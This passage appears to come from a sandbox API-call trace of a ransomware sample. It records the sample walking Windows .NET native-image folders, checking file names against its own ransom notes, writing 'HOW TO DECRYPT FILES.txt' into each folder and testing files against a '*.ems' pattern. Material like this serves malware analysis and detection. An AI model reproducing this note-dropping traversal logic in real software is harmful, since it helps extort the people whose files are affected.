ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x221dd1dc, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.970] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x221dd1dc, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x221dd1dc, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x221dd1dc, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="e1a68d2a01e132ebc60a5565a771902b", cAlternateFileName="E1A68D~1")) returned 1 [0106.970] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\*.*") returned="*.*" [0106.970] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\", lpString2="e1a68d2a01e132ebc60a5565a771902b" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\e1a68d2a01e132ebc60a5565a771902b") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\e1a68d2a01e132ebc60a5565a771902b" [0106.970] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\e1a68d2a01e132ebc60a5565a771902b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x221dd1dc, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x221dd1dc, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x221dd1dc, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.971] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x221dd1dc, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x221dd1dc, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x221dd1dc, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.971] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21fedff8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x21fedff8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x220d283a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x44e800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.971] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.971] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Workflow.ComponentModel.ni.dll") returned -1 [0106.971] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Workflow.ComponentModel.ni.dll") returned -1 [0106.971] lstrcmpiA (lpString1="", lpString2="System.Workflow.ComponentModel.ni.dll") returned -1 [0106.971] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\e1a68d2a01e132ebc60a5565a771902b\\*.*") returned="*.*" [0106.971] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\e1a68d2a01e132ebc60a5565a771902b\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\e1a68d2a01e132ebc60a5565a771902b\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\e1a68d2a01e132ebc60a5565a771902b\\" [0106.972] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\e1a68d2a01e132ebc60a5565a771902b\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\e1a68d2a01e132ebc60a5565a771902b\\") returned="" [0106.972] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\e1a68d2a01e132ebc60a5565a771902b\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\e1a68d2a01e132ebc60a5565a771902b\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\e1a68d2a01e132ebc60a5565a771902b\\HOW TO DECRYPT FILES.txt" [0106.972] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\e1a68d2a01e132ebc60a5565a771902b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.workflow.com#\\e1a68d2a01e132ebc60a5565a771902b\\how to decrypt files.txt")) returned 0xffffffff [0106.972] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\e1a68d2a01e132ebc60a5565a771902b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.workflow.com#\\e1a68d2a01e132ebc60a5565a771902b\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.983] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\e1a68d2a01e132ebc60a5565a771902b\\", lpString2="System.Workflow.ComponentModel.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\e1a68d2a01e132ebc60a5565a771902b\\System.Workflow.ComponentModel.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\e1a68d2a01e132ebc60a5565a771902b\\System.Workflow.ComponentModel.ni.dll" [0106.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Com#\\e1a68d2a01e132ebc60a5565a771902b\\System.Workflow.ComponentModel.ni.dll", pszSpec="*.ems") returned 0 [0106.983] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21fedff8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x21fedff8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x220d283a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x44e800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.983] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.984] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x221dd1dc, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x221dd1dc, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x221dd1dc, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="e1a68d2a01e132ebc60a5565a771902b", cAlternateFileName="E1A68D~1")) returned 0 [0106.984] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.984] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23429b1e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x23429b1e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x23429b1e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Workflow.Run#", cAlternateFileName="SYSTEM~1.RUN")) returned 1 [0106.984] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.984] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Workflow.Run#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#" [0106.984] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23429b1e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x23429b1e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x23429b1e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.985] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23429b1e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x23429b1e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x23429b1e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.985] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23429b1e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x23429b1e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x23429b1e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2101dbd9fa083a2ed0cc112636260070", cAlternateFileName="2101DB~1")) returned 1 [0106.985] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\*.*") returned="*.*" [0106.985] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\", lpString2="2101dbd9fa083a2ed0cc112636260070" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\2101dbd9fa083a2ed0cc112636260070") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\2101dbd9fa083a2ed0cc112636260070" [0106.986] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\2101dbd9fa083a2ed0cc112636260070\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23429b1e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x23429b1e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x23429b1e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.986] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23429b1e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x23429b1e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x23429b1e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.986] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2331f17c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x2331f17c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x2339159d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1d4400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Workflow.Runtime.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.986] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.986] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Workflow.Runtime.ni.dll") returned -1 [0106.987] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Workflow.Runtime.ni.dll") returned -1 [0106.987] lstrcmpiA (lpString1="", lpString2="System.Workflow.Runtime.ni.dll") returned -1 [0106.987] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\2101dbd9fa083a2ed0cc112636260070\\*.*") returned="*.*" [0106.987] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\2101dbd9fa083a2ed0cc112636260070\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\2101dbd9fa083a2ed0cc112636260070\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\2101dbd9fa083a2ed0cc112636260070\\" [0106.987] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\2101dbd9fa083a2ed0cc112636260070\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\2101dbd9fa083a2ed0cc112636260070\\") returned="" [0106.987] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\2101dbd9fa083a2ed0cc112636260070\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\2101dbd9fa083a2ed0cc112636260070\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\2101dbd9fa083a2ed0cc112636260070\\HOW TO DECRYPT FILES.txt" [0106.987] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\2101dbd9fa083a2ed0cc112636260070\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.workflow.run#\\2101dbd9fa083a2ed0cc112636260070\\how to decrypt files.txt")) returned 0xffffffff [0106.987] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\2101dbd9fa083a2ed0cc112636260070\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.workflow.run#\\2101dbd9fa083a2ed0cc112636260070\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.990] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\2101dbd9fa083a2ed0cc112636260070\\", lpString2="System.Workflow.Runtime.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\2101dbd9fa083a2ed0cc112636260070\\System.Workflow.Runtime.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\2101dbd9fa083a2ed0cc112636260070\\System.Workflow.Runtime.ni.dll" [0106.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Workflow.Run#\\2101dbd9fa083a2ed0cc112636260070\\System.Workflow.Runtime.ni.dll", pszSpec="*.ems") returned 0 [0106.991] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2331f17c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x2331f17c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x2339159d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1d4400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Workflow.Runtime.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.991] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.991] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23429b1e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x23429b1e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x23429b1e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2101dbd9fa083a2ed0cc112636260070", cAlternateFileName="2101DB~1")) returned 0 [0106.991] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.991] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb075ba, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8fb075ba, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8fb075ba, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.WorkflowServ#", cAlternateFileName="SYSTEM~1.WOR")) returned 1 [0106.991] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.991] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.WorkflowServ#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#" [0106.991] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb075ba, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8fb075ba, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8fb075ba, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.992] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb075ba, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8fb075ba, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8fb075ba, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.992] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb075ba, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8fb075ba, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8fb075ba, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f0f10d0591d11a36ee2aa8ee2fbdb2bf", cAlternateFileName="F0F10D~1")) returned 1 [0106.992] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\*.*") returned="*.*" [0106.993] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\", lpString2="f0f10d0591d11a36ee2aa8ee2fbdb2bf" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf" [0106.993] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb075ba, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8fb075ba, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8fb075ba, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.993] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb075ba, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8fb075ba, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8fb075ba, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.993] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fa48ed9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8fa48ed9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8fa95199, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x14ba00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.WorkflowServices.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.993] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.993] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.WorkflowServices.ni.dll") returned -1 [0106.994] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.WorkflowServices.ni.dll") returned -1 [0106.994] lstrcmpiA (lpString1="", lpString2="System.WorkflowServices.ni.dll") returned -1 [0106.994] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\*.*") returned="*.*" [0106.994] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\" [0106.994] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\") returned="" [0106.994] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\HOW TO DECRYPT FILES.txt" [0106.994] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.workflowserv#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\how to decrypt files.txt")) returned 0xffffffff [0106.994] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.workflowserv#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.997] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.WorkflowServ#\\f0f10d0591d11a36ee2aa8ee2fbdb2bf\\", lpString2="System.WorkflowServices.ni.dll" | out: 